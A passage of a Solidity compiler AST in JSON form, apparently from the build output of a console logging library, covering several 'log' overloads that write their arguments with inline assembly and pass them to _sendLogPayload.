ame":{"name":"mstore","nativeSrc":"120847:6:22","nodeType":"YulIdentifier","src":"120847:6:22"},"nativeSrc":"120847:24:22","nodeType":"YulFunctionCall","src":"120847:24:22"},"nativeSrc":"120847:24:22","nodeType":"YulExpressionStatement","src":"120847:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120891:4:22","nodeType":"YulLiteral","src":"120891:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"120897:2:22","nodeType":"YulIdentifier","src":"120897:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120884:6:22","nodeType":"YulIdentifier","src":"120884:6:22"},"nativeSrc":"120884:16:22","nodeType":"YulFunctionCall","src":"120884:16:22"},"nativeSrc":"120884:16:22","nodeType":"YulExpressionStatement","src":"120884:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120920:4:22","nodeType":"YulLiteral","src":"120920:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"120926:2:22","nodeType":"YulIdentifier","src":"120926:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120913:6:22","nodeType":"YulIdentifier","src":"120913:6:22"},"nativeSrc":"120913:16:22","nodeType":"YulFunctionCall","src":"120913:16:22"},"nativeSrc":"120913:16:22","nodeType":"YulExpressionStatement","src":"120913:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120949:4:22","nodeType":"YulLiteral","src":"120949:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"120955:2:22","nodeType":"YulIdentifier","src":"120955:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120942:6:22","nodeType":"YulIdentifier","src":"120942:6:22"},"nativeSrc":"120942:16:22","nodeType":"YulFunctionCall","src":"120942:16:22"},"nativeSrc":"120942:16:22","nodeType":"YulExpressionStatement","src":"120942:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"120978:4:22","nodeType":"YulLiteral","src":"120978:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"120984:2:22","nodeType":"YulIdentifier","src":"120984:2:22"}],"functionName":{"name":"mstore","nativeSrc":"120971:6:22","nodeType":"YulIdentifier","src":"120971:6:22"},"nativeSrc":"120971:16:22","nodeType":"YulFunctionCall","src":"120971:16:22"},"nativeSrc":"120971:16:22","nodeType":"YulExpressionStatement","src":"120971:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37684,"isOffset":false,"isSlot":false,"src":"120633:2:22","valueSize":1},{"declaration":37687,"isOffset":false,"isSlot":false,"src":"120663:2:22","valueSize":1},{"declaration":37690,"isOffset":false,"isSlot":false,"src":"120693:2:22","valueSize":1},{"declaration":37693,"isOffset":false,"isSlot":false,"src":"120723:2:22","valueSize":1},{"declaration":37696,"isOffset":false,"isSlot":false,"src":"120753:2:22","valueSize":1},{"declaration":37674,"isOffset":false,"isSlot":false,"src":"120897:2:22","valueSize":1},{"declaration":37676,"isOffset":false,"isSlot":false,"src":"120926:2:22","valueSize":1},{"declaration":37678,"isOffset":false,"isSlot":false,"src":"120955:2:22","valueSize":1},{"declaration":37680,"isOffset":false,"isSlot":false,"src":"120984:2:22","valueSize":1}],"id":37698,"nodeType":"InlineAssembly","src":"120610:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37700,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"121022:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"121028:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37699,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"121006:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37702,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"121006:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37703,"nodeType":"ExpressionStatement","src":"121006:27:22"},{"AST":{"nativeSrc":"121052:156:22","nodeType":"YulBlock","src":"121052:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"121073:4:22","nodeType":"YulLiteral","src":"121073:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"121079:2:22","nodeType":"YulIdentifier","src":"121079:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121066:6:22","nodeType":"YulIdentifier","src":"121066:6:22"},"nativeSrc":"121066:16:22","nodeType":"YulFunctionCall","src":"121066:16:22"},"nativeSrc":"121066:16:22","nodeType":"YulExpressionStatement","src":"121066:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121102:4:22","nodeType":"YulLiteral","src":"121102:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"121108:2:22","nodeType":"YulIdentifier","src":"121108:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121095:6:22","nodeType":"YulIdentifier","src":"121095:6:22"},"nativeSrc":"121095:16:22","nodeType":"YulFunctionCall","src":"121095:16:22"},"nativeSrc":"121095:16:22","nodeType":"YulExpressionStatement","src":"121095:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121131:4:22","nodeType":"YulLiteral","src":"121131:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"121137:2:22","nodeType":"YulIdentifier","src":"121137:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121124:6:22","nodeType":"YulIdentifier","src":"121124:6:22"},"nativeSrc":"121124:16:22","nodeType":"YulFunctionCall","src":"121124:16:22"},"nativeSrc":"121124:16:22","nodeType":"YulExpressionStatement","src":"121124:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121160:4:22","nodeType":"YulLiteral","src":"121160:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"121166:2:22","nodeType":"YulIdentifier","src":"121166:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121153:6:22","nodeType":"YulIdentifier","src":"121153:6:22"},"nativeSrc":"121153:16:22","nodeType":"YulFunctionCall","src":"121153:16:22"},"nativeSrc":"121153:16:22","nodeType":"YulExpressionStatement","src":"121153:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121189:4:22","nodeType":"YulLiteral","src":"121189:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"121195:2:22","nodeType":"YulIdentifier","src":"121195:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121182:6:22","nodeType":"YulIdentifier","src":"121182:6:22"},"nativeSrc":"121182:16:22","nodeType":"YulFunctionCall","src":"121182:16:22"},"nativeSrc":"121182:16:22","nodeType":"YulExpressionStatement","src":"121182:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37684,"isOffset":false,"isSlot":false,"src":"121079:2:22","valueSize":1},{"declaration":37687,"isOffset":false,"isSlot":false,"src":"121108:2:22","valueSize":1},{"declaration":37690,"isOffset":false,"isSlot":false,"src":"121137:2:22","valueSize":1},{"declaration":37693,"isOffset":false,"isSlot":false,"src":"121166:2:22","valueSize":1},{"declaration":37696,"isOffset":false,"isSlot":false,"src":"121195:2:22","valueSize":1}],"id":37704,"nodeType":"InlineAssembly","src":"121043:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"120437:3:22","parameters":{"id":37681,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37674,"mutability":"mutable","name":"p0","nameLocation":"120449:2:22","nodeType":"VariableDeclaration","scope":37706,"src":"120441:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37673,"name":"address","nodeType":"ElementaryTypeName","src":"120441:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37676,"mutability":"mutable","name":"p1","nameLocation":"120461:2:22","nodeType":"VariableDeclaration","scope":37706,"src":"120453:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37675,"name":"uint256","nodeType":"ElementaryTypeName","src":"120453:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37678,"mutability":"mutable","name":"p2","nameLocation":"120470:2:22","nodeType":"VariableDeclaration","scope":37706,"src":"120465:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37677,"name":"bool","nodeType":"ElementaryTypeName","src":"120465:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37680,"mutability":"mutable","name":"p3","nameLocation":"120482:2:22","nodeType":"VariableDeclaration","scope":37706,"src":"120474:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37679,"name":"address","nodeType":"ElementaryTypeName","src":"120474:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"120440:45:22"},"returnParameters":{"id":37682,"nodeType":"ParameterList","parameters":[],"src":"120500:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37740,"nodeType":"FunctionDefinition","src":"121220:780:22","nodes":[],"body":{"id":37739,"nodeType":"Block","src":"121289:711:22","nodes":[],"statements":[{"assignments":[37718],"declarations":[{"constant":false,"id":37718,"mutability":"mutable","name":"m0","nameLocation":"121307:2:22","nodeType":"VariableDeclaration","scope":37739,"src":"121299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37717,"name":"bytes32","nodeType":"ElementaryTypeName","src":"121299:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37719,"nodeType":"VariableDeclarationStatement","src":"121299:10:22"},{"assignments":[37721],"declarations":[{"constant":false,"id":37721,"mutability":"mutable","name":"m1","nameLocation":"121327:2:22","nodeType":"VariableDeclaration","scope":37739,"src":"121319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37720,"name":"bytes32","nodeType":"ElementaryTypeName","src":"121319:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37722,"nodeType":"VariableDeclarationStatement","src":"121319:10:22"},{"assignments":[37724],"declarations":[{"constant":false,"id":37724,"mutability":"mutable","name":"m2","nameLocation":"121347:2:22","nodeType":"VariableDeclaration","scope":37739,"src":"121339:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"121339:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37725,"nodeType":"VariableDeclarationStatement","src":"121339:10:22"},{"assignments":[37727],"declarations":[{"constant":false,"id":37727,"mutability":"mutable","name":"m3","nameLocation":"121367:2:22","nodeType":"VariableDeclaration","scope":37739,"src":"121359:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"121359:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37728,"nodeType":"VariableDeclarationStatement","src":"121359:10:22"},{"assignments":[37730],"declarations":[{"constant":false,"id":37730,"mutability":"mutable","name":"m4","nameLocation":"121387:2:22","nodeType":"VariableDeclaration","scope":37739,"src":"121379:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37729,"name":"bytes32","nodeType":"ElementaryTypeName","src":"121379:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37731,"nodeType":"VariableDeclarationStatement","src":"121379:10:22"},{"AST":{"nativeSrc":"121408:375:22","nodeType":"YulBlock","src":"121408:375:22","statements":[{"nativeSrc":"121422:17:22","nodeType":"YulAssignment","src":"121422:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"121434:4:22","nodeType":"YulLiteral","src":"121434:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"121428:5:22","nodeType":"YulIdentifier","src":"121428:5:22"},"nativeSrc":"121428:11:22","nodeType":"YulFunctionCall","src":"121428:11:22"},"variableNames":[{"name":"m0","nativeSrc":"121422:2:22","nodeType":"YulIdentifier","src":"121422:2:22"}]},{"nativeSrc":"121452:17:22","nodeType":"YulAssignment","src":"121452:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"121464:4:22","nodeType":"YulLiteral","src":"121464:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"121458:5:22","nodeType":"YulIdentifier","src":"121458:5:22"},"nativeSrc":"121458:11:22","nodeType":"YulFunctionCall","src":"121458:11:22"},"variableNames":[{"name":"m1","nativeSrc":"121452:2:22","nodeType":"YulIdentifier","src":"121452:2:22"}]},{"nativeSrc":"121482:17:22","nodeType":"YulAssignment","src":"121482:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"121494:4:22","nodeType":"YulLiteral","src":"121494:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"121488:5:22","nodeType":"YulIdentifier","src":"121488:5:22"},"nativeSrc":"121488:11:22","nodeType":"YulFunctionCall","src":"121488:11:22"},"variableNames":[{"name":"m2","nativeSrc":"121482:2:22","nodeType":"YulIdentifier","src":"121482:2:22"}]},{"nativeSrc":"121512:17:22","nodeType":"YulAssignment","src":"121512:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"121524:4:22","nodeType":"YulLiteral","src":"121524:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"121518:5:22","nodeType":"YulIdentifier","src":"121518:5:22"},"nativeSrc":"121518:11:22","nodeType":"YulFunctionCall","src":"121518:11:22"},"variableNames":[{"name":"m3","nativeSrc":"121512:2:22","nodeType":"YulIdentifier","src":"121512:2:22"}]},{"nativeSrc":"121542:17:22","nodeType":"YulAssignment","src":"121542:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"121554:4:22","nodeType":"YulLiteral","src":"121554:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"121548:5:22","nodeType":"YulIdentifier","src":"121548:5:22"},"nativeSrc":"121548:11:22","nodeType":"YulFunctionCall","src":"121548:11:22"},"variableNames":[{"name":"m4","nativeSrc":"121542:2:22","nodeType":"YulIdentifier","src":"121542:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121640:4:22","nodeType":"YulLiteral","src":"121640:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"121646:10:22","nodeType":"YulLiteral","src":"121646:10:22","type":"","value":"0x3bf5e537"}],"functionName":{"name":"mstore","nativeSrc":"121633:6:22","nodeType":"YulIdentifier","src":"121633:6:22"},"nativeSrc":"121633:24:22","nodeType":"YulFunctionCall","src":"121633:24:22"},"nativeSrc":"121633:24:22","nodeType":"YulExpressionStatement","src":"121633:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121677:4:22","nodeType":"YulLiteral","src":"121677:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"121683:2:22","nodeType":"YulIdentifier","src":"121683:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121670:6:22","nodeType":"YulIdentifier","src":"121670:6:22"},"nativeSrc":"121670:16:22","nodeType":"YulFunctionCall","src":"121670:16:22"},"nativeSrc":"121670:16:22","nodeType":"YulExpressionStatement","src":"121670:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121706:4:22","nodeType":"YulLiteral","src":"121706:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"121712:2:22","nodeType":"YulIdentifier","src":"121712:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121699:6:22","nodeType":"YulIdentifier","src":"121699:6:22"},"nativeSrc":"121699:16:22","nodeType":"YulFunctionCall","src":"121699:16:22"},"nativeSrc":"121699:16:22","nodeType":"YulExpressionStatement","src":"121699:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121735:4:22","nodeType":"YulLiteral","src":"121735:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"121741:2:22","nodeType":"YulIdentifier","src":"121741:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121728:6:22","nodeType":"YulIdentifier","src":"121728:6:22"},"nativeSrc":"121728:16:22","nodeType":"YulFunctionCall","src":"121728:16:22"},"nativeSrc":"121728:16:22","nodeType":"YulExpressionStatement","src":"121728:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121764:4:22","nodeType":"YulLiteral","src":"121764:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"121770:2:22","nodeType":"YulIdentifier","src":"121770:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121757:6:22","nodeType":"YulIdentifier","src":"121757:6:22"},"nativeSrc":"121757:16:22","nodeType":"YulFunctionCall","src":"121757:16:22"},"nativeSrc":"121757:16:22","nodeType":"YulExpressionStatement","src":"121757:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37718,"isOffset":false,"isSlot":false,"src":"121422:2:22","valueSize":1},{"declaration":37721,"isOffset":false,"isSlot":false,"src":"121452:2:22","valueSize":1},{"declaration":37724,"isOffset":false,"isSlot":false,"src":"121482:2:22","valueSize":1},{"declaration":37727,"isOffset":false,"isSlot":false,"src":"121512:2:22","valueSize":1},{"declaration":37730,"isOffset":false,"isSlot":false,"src":"121542:2:22","valueSize":1},{"declaration":37708,"isOffset":false,"isSlot":false,"src":"121683:2:22","valueSize":1},{"declaration":37710,"isOffset":false,"isSlot":false,"src":"121712:2:22","valueSize":1},{"declaration":37712,"isOffset":false,"isSlot":false,"src":"121741:2:22","valueSize":1},{"declaration":37714,"isOffset":false,"isSlot":false,"src":"121770:2:22","valueSize":1}],"id":37732,"nodeType":"InlineAssembly","src":"121399:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37734,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"121808:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"121814:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37733,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"121792:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37736,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"121792:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37737,"nodeType":"ExpressionStatement","src":"121792:27:22"},{"AST":{"nativeSrc":"121838:156:22","nodeType":"YulBlock","src":"121838:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"121859:4:22","nodeType":"YulLiteral","src":"121859:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"121865:2:22","nodeType":"YulIdentifier","src":"121865:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121852:6:22","nodeType":"YulIdentifier","src":"121852:6:22"},"nativeSrc":"121852:16:22","nodeType":"YulFunctionCall","src":"121852:16:22"},"nativeSrc":"121852:16:22","nodeType":"YulExpressionStatement","src":"121852:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121888:4:22","nodeType":"YulLiteral","src":"121888:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"121894:2:22","nodeType":"YulIdentifier","src":"121894:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121881:6:22","nodeType":"YulIdentifier","src":"121881:6:22"},"nativeSrc":"121881:16:22","nodeType":"YulFunctionCall","src":"121881:16:22"},"nativeSrc":"121881:16:22","nodeType":"YulExpressionStatement","src":"121881:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121917:4:22","nodeType":"YulLiteral","src":"121917:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"121923:2:22","nodeType":"YulIdentifier","src":"121923:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121910:6:22","nodeType":"YulIdentifier","src":"121910:6:22"},"nativeSrc":"121910:16:22","nodeType":"YulFunctionCall","src":"121910:16:22"},"nativeSrc":"121910:16:22","nodeType":"YulExpressionStatement","src":"121910:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121946:4:22","nodeType":"YulLiteral","src":"121946:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"121952:2:22","nodeType":"YulIdentifier","src":"121952:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121939:6:22","nodeType":"YulIdentifier","src":"121939:6:22"},"nativeSrc":"121939:16:22","nodeType":"YulFunctionCall","src":"121939:16:22"},"nativeSrc":"121939:16:22","nodeType":"YulExpressionStatement","src":"121939:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"121975:4:22","nodeType":"YulLiteral","src":"121975:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"121981:2:22","nodeType":"YulIdentifier","src":"121981:2:22"}],"functionName":{"name":"mstore","nativeSrc":"121968:6:22","nodeType":"YulIdentifier","src":"121968:6:22"},"nativeSrc":"121968:16:22","nodeType":"YulFunctionCall","src":"121968:16:22"},"nativeSrc":"121968:16:22","nodeType":"YulExpressionStatement","src":"121968:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37718,"isOffset":false,"isSlot":false,"src":"121865:2:22","valueSize":1},{"declaration":37721,"isOffset":false,"isSlot":false,"src":"121894:2:22","valueSize":1},{"declaration":37724,"isOffset":false,"isSlot":false,"src":"121923:2:22","valueSize":1},{"declaration":37727,"isOffset":false,"isSlot":false,"src":"121952:2:22","valueSize":1},{"declaration":37730,"isOffset":false,"isSlot":false,"src":"121981:2:22","valueSize":1}],"id":37738,"nodeType":"InlineAssembly","src":"121829:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"121229:3:22","parameters":{"id":37715,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37708,"mutability":"mutable","name":"p0","nameLocation":"121241:2:22","nodeType":"VariableDeclaration","scope":37740,"src":"121233:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37707,"name":"address","nodeType":"ElementaryTypeName","src":"121233:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37710,"mutability":"mutable","name":"p1","nameLocation":"121253:2:22","nodeType":"VariableDeclaration","scope":37740,"src":"121245:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37709,"name":"uint256","nodeType":"ElementaryTypeName","src":"121245:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37712,"mutability":"mutable","name":"p2","nameLocation":"121262:2:22","nodeType":"VariableDeclaration","scope":37740,"src":"121257:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37711,"name":"bool","nodeType":"ElementaryTypeName","src":"121257:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37714,"mutability":"mutable","name":"p3","nameLocation":"121271:2:22","nodeType":"VariableDeclaration","scope":37740,"src":"121266:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37713,"name":"bool","nodeType":"ElementaryTypeName","src":"121266:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"121232:42:22"},"returnParameters":{"id":37716,"nodeType":"ParameterList","parameters":[],"src":"121289:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37774,"nodeType":"FunctionDefinition","src":"122006:786:22","nodes":[],"body":{"id":37773,"nodeType":"Block","src":"122078:714:22","nodes":[],"statements":[{"assignments":[37752],"declarations":[{"constant":false,"id":37752,"mutability":"mutable","name":"m0","nameLocation":"122096:2:22","nodeType":"VariableDeclaration","scope":37773,"src":"122088:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37751,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122088:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37753,"nodeType":"VariableDeclarationStatement","src":"122088:10:22"},{"assignments":[37755],"declarations":[{"constant":false,"id":37755,"mutability":"mutable","name":"m1","nameLocation":"122116:2:22","nodeType":"VariableDeclaration","scope":37773,"src":"122108:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37754,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122108:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37756,"nodeType":"VariableDeclarationStatement","src":"122108:10:22"},{"assignments":[37758],"declarations":[{"constant":false,"id":37758,"mutability":"mutable","name":"m2","nameLocation":"122136:2:22","nodeType":"VariableDeclaration","scope":37773,"src":"122128:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37757,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122128:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37759,"nodeType":"VariableDeclarationStatement","src":"122128:10:22"},{"assignments":[37761],"declarations":[{"constant":false,"id":37761,"mutability":"mutable","name":"m3","nameLocation":"122156:2:22","nodeType":"VariableDeclaration","scope":37773,"src":"122148:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37760,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122148:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37762,"nodeType":"VariableDeclarationStatement","src":"122148:10:22"},{"assignments":[37764],"declarations":[{"constant":false,"id":37764,"mutability":"mutable","name":"m4","nameLocation":"122176:2:22","nodeType":"VariableDeclaration","scope":37773,"src":"122168:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37763,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122168:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37765,"nodeType":"VariableDeclarationStatement","src":"122168:10:22"},{"AST":{"nativeSrc":"122197:378:22","nodeType":"YulBlock","src":"122197:378:22","statements":[{"nativeSrc":"122211:17:22","nodeType":"YulAssignment","src":"122211:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"122223:4:22","nodeType":"YulLiteral","src":"122223:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"122217:5:22","nodeType":"YulIdentifier","src":"122217:5:22"},"nativeSrc":"122217:11:22","nodeType":"YulFunctionCall","src":"122217:11:22"},"variableNames":[{"name":"m0","nativeSrc":"122211:2:22","nodeType":"YulIdentifier","src":"122211:2:22"}]},{"nativeSrc":"122241:17:22","nodeType":"YulAssignment","src":"122241:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"122253:4:22","nodeType":"YulLiteral","src":"122253:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"122247:5:22","nodeType":"YulIdentifier","src":"122247:5:22"},"nativeSrc":"122247:11:22","nodeType":"YulFunctionCall","src":"122247:11:22"},"variableNames":[{"name":"m1","nativeSrc":"122241:2:22","nodeType":"YulIdentifier","src":"122241:2:22"}]},{"nativeSrc":"122271:17:22","nodeType":"YulAssignment","src":"122271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"122283:4:22","nodeType":"YulLiteral","src":"122283:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"122277:5:22","nodeType":"YulIdentifier","src":"122277:5:22"},"nativeSrc":"122277:1